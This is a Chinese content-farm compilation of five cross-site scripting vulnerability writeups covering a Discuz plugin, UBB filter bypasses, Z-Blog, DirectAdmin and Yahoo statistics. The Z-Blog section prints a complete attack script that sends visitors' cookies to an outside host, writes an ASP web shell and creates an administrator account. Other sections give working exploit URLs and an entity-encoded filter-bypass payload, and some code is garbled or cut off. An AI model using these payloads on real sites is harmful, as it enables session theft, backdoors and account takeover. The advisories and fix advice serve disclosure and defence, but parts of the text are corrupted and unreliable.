跨站脚本漏洞的利用教程

时间:2023-05-16 07:28:27 其他范文 收藏本文 下载本文

跨站脚本漏洞的利用教程(集锦5篇)由网友“呲次次次饱了马”投稿提供,下面是小编为大家整理后的跨站脚本漏洞的利用教程,仅供大家参考借鉴,希望大家喜欢!

跨站脚本漏洞的利用教程

篇1:跨站脚本漏洞的利用教程

简要描述:

Discuz! 7.2/X1 心情墙插件SQL注入及持久型XSS漏洞,

SQL注入比较鸡肋,要求GPC为off(目前这样的网站几乎绝版了)

XSS因为是持久型的,只要管理员打开此应用即会触发。利用XSS怎么操作就见仁见智了。

详细说明:

由Discuz因变量未初始化及过滤不严导致SQL注入及跨站脚本漏洞。

moodwall.inc.php

SQL注入,除下面代码这一处外,本文件还有很多处这样的或是$_POST得到后直接用的情况。惨不忍睹。

elseif($action == ''edit_mood'' && moodid) {

//moodid未初始化,直接代入sql查询

$check = $db->result_first(“SELECT * FROM {$tablepre}moodwall WHERE id=''$moodid'' AND uid=''$discuz_uid''”);

if(!$check || !$moodid) {

showmessage(''moodwall:moodwall_inc_php_2'', ''plugin.php?id=moodwall&action=user_mood'');

}

$sql = “SELECT * FROM {$tablepre}moodwall WHERE id=''$moodid''”;

$query = $db->query($sql);

$moodlist_edit = array;

while($mood_edit = $db->fetch_array($query)) {

$moodlist_edit[] = $mood_edit;

}

XSS

$uid=$_POST[uid];

$username=$_POST[username];

$bgpic=$_POST[bgpic];

$mood=$_POST[mood];

$message=$_POST[message];

$dateline=time();

//$_POST得到数据直接入库,前端出库代码也没有做过滤,这里就不贴了,

$db->query(“INSERT INTO {$tablepre}moodwall (uid,username, bgpic, mood, message, dateline) VALUES (''$uid'', ''$username'', ''$bgpic'', ''$mood'', ''$message'', ''$dateline'')”);

漏洞证明:

随意找一个安装此应用的网站:

/plugin.php?id=moodwall&action=edit_mood&moodid=2''

发表心情处直接插入html代码

“>

修复方案:

过滤啊过滤,初始化啊初始化。

强烈建议Discuz!团队对第三方的应用做严格的审查后再在自己的官方论坛上发布。

篇2:UBB的跨站脚本攻击的漏洞服务器教程

ubb|攻击|脚本

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较”盲“一些,岂不乱套了?

小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点,比如留言板,论坛,或是含提交程序的站点.首先,讲一下最简单的脚本攻击:等HTML字符的过滤问题.

登陆过一个CGI制作站点.以原来ASP的眼光看CGI的站点,感觉CGI对脚本的过滤应该很好.于是做了最初的测试.在用户一栏中填写,提交用户注册后发现并没提出非法字符的提示.注册完成后,点击资料也发现页面变形了.如在其他几个如国家,性别里填写也会出现同样的问题,那页面就没法看了.于是换了一个站点,再次提交出现了非法字符提示,看来站点是已经过滤的等HTML的脚本字符,那好,我们改用ASCII 码替换 如& #60; & #62;代替提交后再来看,又出现了上面页面变形的情况,看来非法过滤机制还不是很完善. 更有甚者,我竟发现一个站点内的姓名栏填写时没有字数大小设置,没有过滤任何非法字符,如果我提交个什么恶意代码那还不成全了我?

简单的脚本攻击如等HTML格式的代码一定要过滤好,上面的一些站点还没牵扯到UBB就出问题了.那我们下面就开始重点讲一下UBB过滤漏洞的问题.UBB是论坛中用来替换HTML编辑的一种格式符号,如[b ][/b ]可以替换成HTML中的< b>..然而就是这一个替换问题,就成了跨站脚本攻击的最佳积聚地.测试了一个ASP留言版以及一个整站的程序代码:

初级问题: [url ]的过滤,在提交该代码时可以构建一个onmouseover函数的恶意代码,既然onmouseover可以生效,那还有什么办不到的?一些原码程序在变换[url ][/url ]时,只是将[url ]s2[/ url]中的s2直接提交到< a href=”s2“ target=_blank>S2中.看到如此转换我们可以使用相应的ASCII 码中的& #34;来代替”,我们多提交一个“然后在构建onmouseover函数进行操作,后果?你应该知道!:P

[img ]的过滤,这真的算是个老大难的问题.很早以前就是[img]的脚本攻击流行一时啊.这次测试中,很多站点还是仍然存在这个漏洞.有点程序根本没有进行过滤.尤其是一些免费留言板的提供站点很多都存在这样的问题.下面我们主要将一下[IMG ]标签的问题:

很简单的[img ]javascript.:alert();[/ img]提交后转换成的代码为< img src=”javascript.:alert();“>,好,到这里我们就可以看到javascript.:alert();被< img src=”“>标签激活了.表现就是弹出对话框.上面写着你在()中要提交的东西.如documents.cookie 呵呵..大多数人都应该知道这东西是做什么.更有甚者,使用document.write();函数,可以写网页.写什么?当然是恶意代码,如[ img]javascript.:document.write();[ /img].()中间加你要加的,写你要写的,想多危险就多危险.

高级问题: 由于[img ]的初级问题骚扰很多站点就对一个敏感的字符开始过滤.如ja连接,do连接,wr连接,提交后自动分为j a,d o,w r.或是对字符进行过滤java,document,等等.而这些只能难倒一小部分人.我们仍然可以利用ASCII码来代替.可能有人会对代替后的代码仍然不能正常显示而困惑.好,我们下面以一个完整的例子介绍:

某站点UBB过滤代码段如下:

<%

Function code_ssstrers)

dim strer:strer=strers

if strer=”“ or isnull(strer) then code_ss”“:exit function

strer=replace(strer,”<“,”<“)

strer=replace(strer,”>“,”>“)

strer=replace(strer,” “,” “) '空格

strer=replace(strer,CHR(9),” “) 'table

strer=replace(strer,”'“,”'“) '单引号

strer=replace(strer,”“”“,”“”) '双引号

dim re,re_v

re_v=“[^\(\)\;\';”“\[]*”

're_v=“.[^\[]*”

Set re=new RegExp

re.IgnoreCase =True

re.Global=True

re.Pattern=“(javascript.:)”

strer=re.Replace(strer,“javascript:”)

re.Pattern=“(javascript)”

strer=re.Replace(strer,“javascript”)

re.Pattern=“(jscript.:)”

strer=re.Replace(strer,“jscript.:”)

re.Pattern=“(js:)”

strer=re.Replace(strer,“js:”)

re.Pattern=“(value)”

strer=re.Replace(strer,“value”)

re.Pattern=“(about:)”

strer=re.Replace(strer,“about:”)

re.Pattern=“(file:)”

strer=re.Replace(strer,“file&:”)

re.Pattern=“(document.)”

strer=re.Replace(strer,“document :”)

re.Pattern=“(vbscript.:)”

strer=re.Replace(strer,“vbscript.:”)

re.Pattern=“(vbs:)”

strer=re.Replace(strer,“vbs :”)

re.Pattern=“(on(mouse|exit|error|click|key))”

strer=re.Replace(strer,“on$2”)

能看懂ASP的朋友,就可以看出,以上代码段对javascript,jscript.:,js:,about;value,document.,onmouse以及onexit等语句进行了过滤和替换.并对一些特殊字符进行了替换.如“.”,“;”“(”,“)” [替换代码为“”中间的“..仔细观察代码后我们会发现其过滤机制并非想想象的那样完美.提交:[ mg]& #176& #93& #118& #97& #115& #79rip& #106& #57documen& #115& #76write& #30& #29哈哈又被黑了& #29& #61& #29[/ mg] 类似代码就可以实现更高级的脚本攻击.注:由于很多站点仍存在此问题,所以将代码修改过,无攻击性了.

打开你的FT,使用文本编辑,你可以找到任何特殊字符所属的ASCII码.如:分号;可以代替为&59,句点.可以代替为&46,以这样的形式我们再次提交代码.果然,上面整个的过滤机制几乎完全失效了.根本没起到什么防御作用.

看了以上的攻击方法,是不是觉得很郁闷?如果才能避免上面的问题发生?

1.如果你的站点程序含论坛,留言板,以及其他程序中含提交数据格式的,没有很好过滤机制,请马上下载升级程序或是停止使用.避免造成更多的问题.

2.各提供免费论坛,免费申请留言板的站,请将UBB格式关闭.或找到更好的解析UBB.ASP程序页.

3.对一些会编写ASP的朋友,我建议大家过滤一下字符:(全部字符将写在[]中)如:

[”|.|;|:|\|/|&|$|#|`|)|,|'|“|-|~|[|(||] 注:其中|为分割符

4.对于某些站点建议去掉问题比较多的留言板,或是其他含提交的程序.如:原www.sangel.net使用的guestbook,一些不知名的程序体问题更是多多.建议换掉它.

5.我本人也修改了一个国外的留言板,前台基本已经修改完毕.后台这几天正在赶.修改后感觉在文本提交和输入以及留言时都有了很好的过滤.本来打算全采用英文界面,但考虑到N多chinese 对英语不过关,我还是将部分程序汉化了.有兴趣的朋友可以www.e3i5.com/guestbook/ 测试.我们欢迎善意的测试.

以下是国内一些经过本人测试的站点的留言板有问题的地址,(请各位站长注意啦,及时修补程序免得造成不必要的麻烦),测试的时间比较短一些,可能有一些站点没有找到.可能存在着更严重的问题.

以上就是这次脚本攻击测试的全部内容,

UBB的跨站脚本攻击的漏洞服务器教程

综观全部站点,看上去安全性真是的不敢再想.问题多多.

虽然只是举手之劳就可以解决的问题,但稍不小心就会造成大问题。

篇3:Zblog跨站脚本攻击漏洞

style=”display:block;padding:0px 10px;“ class=”ContentFont“>漏洞说明:Z-Blog是一款基于Asp平台的Blog博客(网志)程序,支持Wap,支持Firefox,Oprea等浏览器,在国内使用非常广泛,官方主页在www.rainbowsoft.org/,Z-blog代码严谨,前台功能简洁,后台功能强大,这为它的产品安全带来很大的优势,但是80sec在产品中发现一个严重的跨站脚本攻击漏洞,加上产品设计上的一些问题可能带来严重的后果。

漏洞厂商:www.rainbowsoft.org/

漏洞解析:在FUNCTION/c_urlredirect.asp中,程序对提交的url参数做如下处理

strUrl=URLDecodeForAntiSpam(Request.QueryString(”url“))

其中URLDecodeForAntiSpam是防止垃圾连接的解码函数,其函数处理如下

Function URLDecodeForAntiSpam(strUrl)

Dim i,s

For i =1 To Len(strUrl) Step 2

s=s & Mid(strUrl,i,1)

Next

URLDecodeForAntiSpam=s

End Function

在做如上处理之后程序将在c_urlredirect.asp输出url参数

...

精心构造url参数将能构造一个url类型的非持久xss如下:

127.0.0.1/Z-Blog18/FUNCTION/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx%3Ax%22x%3Ex%3Cxsxcxrxixpxtx+xsxrxcx%3Dxhxtxtxpx%3Ax%2Fx%2Fx1×2x7x%2Ex0x%2Ex0x%2Ex1x%2Fx1x%2Exjxsx%3Ex%3Cx%2Fxsxcxrxixpxtx%3Ex

上述url访问之后将引入127.0.0.1/1.js执行,其中可以写任意js代码。

而z-blog的所有安全设计全部用来抵御前台的攻击,对于后台基本没有任何限制,加上antispam功能对用户提交的url连接类似于加密处理,所以很容易就可以诱惑别人访问上述的xss攻击url,可以发表评论如下:

看这个站,有新东西?

www.80sec.com

用户看到的是www.80sec.com这个信任的站点,而一旦点击将在www.foo.com域执行恶意用户指定的js,在该js里可以写shell,添加用户,偷取COOKIE然后模拟出真正的转向,整个过程很难发现攻击的意图,80sec提供js如下:

xmlhttp=poster;

cookie=document.cookie;

login=cookie.indexOf('password')==-1?0:1;

tolocation='www.80sec.com/';

//get cookie

x=new Image();

x.src=”www.80sec.com/c.php?c=“+escape(document.cookie);

//get a shell

data=”txaContent=<%25execute(request(%22a%22))%25>“;

postmydata(”www.0×37.com/cmd.asp?act=SiteFilePst&path=%2E%2FUPLOAD%2Findex%2Easp&opath=”,data);

//add a user data=”edtID=0&edtLevel=2&edtName=xss2root&edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&edtPassWordRe=xss2root&edtEmail=null@null.com&edtHomePage=&edtAlias=”;

postmydata(”www.0×37.com/cmd.asp?act=UserCrt”,data);

//fool the user

window.location=tolocation;

function poster(){

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType(’text/xml’);

}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i try {

request = new ActiveXObject(versions[i]);

} catch(e) {}

}

}

return request;

}

function postmydata(action,data){

xmlhttp.open(“POST”, action, false);

xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

xmlhttp.send(data);

return xmlhttp.responseText;

}

篇4:DirectAdmin CMDREDIRECT跨站脚本漏洞

影响版本:

DirectAdmin 1.33.6

程序介绍:

DirectAdmin是一功能强大的虚拟主机在线管理系统,

漏洞分析:

DirectAdmin的CMD_REDIRECT没有正确地过滤对view参数所传送的输入便返回给了用户,远程攻击者可以通过提交恶意请求执行跨站脚本攻击,导致在用户浏览器会话中执行任意HTML和脚本代码。

漏洞利用:

www.directadmin.com:2222/CMD_REDIRECT?view=advanced&sort1%22%3E%3Cscript%3Ealert(111);%3C/script%3E=1&domain=demo.com

解决方案:

厂商补丁:

JBMC Software

-------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

directadmin.com/

信息来源:

<*来源:r0t

链接:pridels-team.blogspot.com ... v1336-xss-vuln.html

*>

篇5:Yahoo! 统计功能跨站脚本漏洞

漏洞说明: yahoo统计功能被广泛用于站点的访问统计,用于做各种数据分析如访问来源,客户访问页面统计等等,具体信息可以访问网址tongjia.yahoo.cn,但是80sec发现该功能存在严重的漏洞,可能导致用户信息被窃取,并且可以占有该用户的yahoo ID,进入包括mail.yah

漏洞说明: yahoo统计功能被广泛用于站点的访问统计,用于做各种数据分析如访问来源,客户访问页面统计等等,具体信息可以访问网址tongjia.yahoo.cn。但是80sec发现该功能存在严重的漏洞,可能导致用户信息被窃取,并且可以占有该用户的yahoo ID,进入包括mail.yahoo.cn之内的其他服务, 漏洞成因: yahoo统计功能在获得用户提交的参数时缺少必要的过滤,导致恶意用户可以提交精心构造的数据进入控制面板后台,譬如访问地址信息就会不加过滤地进入后台,这样就可以导致一个跨站脚本攻击漏洞。另外由于yahoo对用户认证信息缺乏必要的保护,就可以导致恶意用户获得这些敏感信息,然后利用yahoo的认证机制的缺陷,即可利用该用户的身份进入其他的服务如mail.yahoo.cn 漏洞测试: 在带有yahoo统计的页面,通过如下地址访问: www.foosite.com/index.php?">

80sec于6.13提交给厂商

6.16厂商修复漏洞

6.18发出公告

确保PHP应用程序的安全[2]WEB安全

对于跨不同服务器的sql脚本执行语言的摘要数据库教程

也谈跨站脚本攻击与防御脚本安全

如何防范网站数据库入侵

ki Wiki CMS群件本地文件包含和跨站脚本漏洞及修复

五招制敌!教你甄别淘宝钓鱼站网络技巧

脚本范文

PHP安全 XSS篇

phpfusion的一个Xday分析脚本安全

百度贴吧的作文

跨站脚本漏洞的利用教程
《跨站脚本漏洞的利用教程.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【跨站脚本漏洞的利用教程(集锦5篇)】相关文章:

鸡肋的反射性xss脚本安全2023-04-01

web安全学习之xss个人总结2023-02-14

财务软件实施维护工程师简历表格2022-05-08

双引号被过滤时配置文件插一句话的方法脚本安全2022-10-25

由于Nginx漏洞导致的入侵事件WEB安全2023-08-17

网络安全试题2024-05-07

从零开始学Android应用安全测试(Part1)2022-04-30

网络爬虫论文范文2022-09-25

广告脚本范文2023-07-17

Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞2023-09-01

点击下载本文文档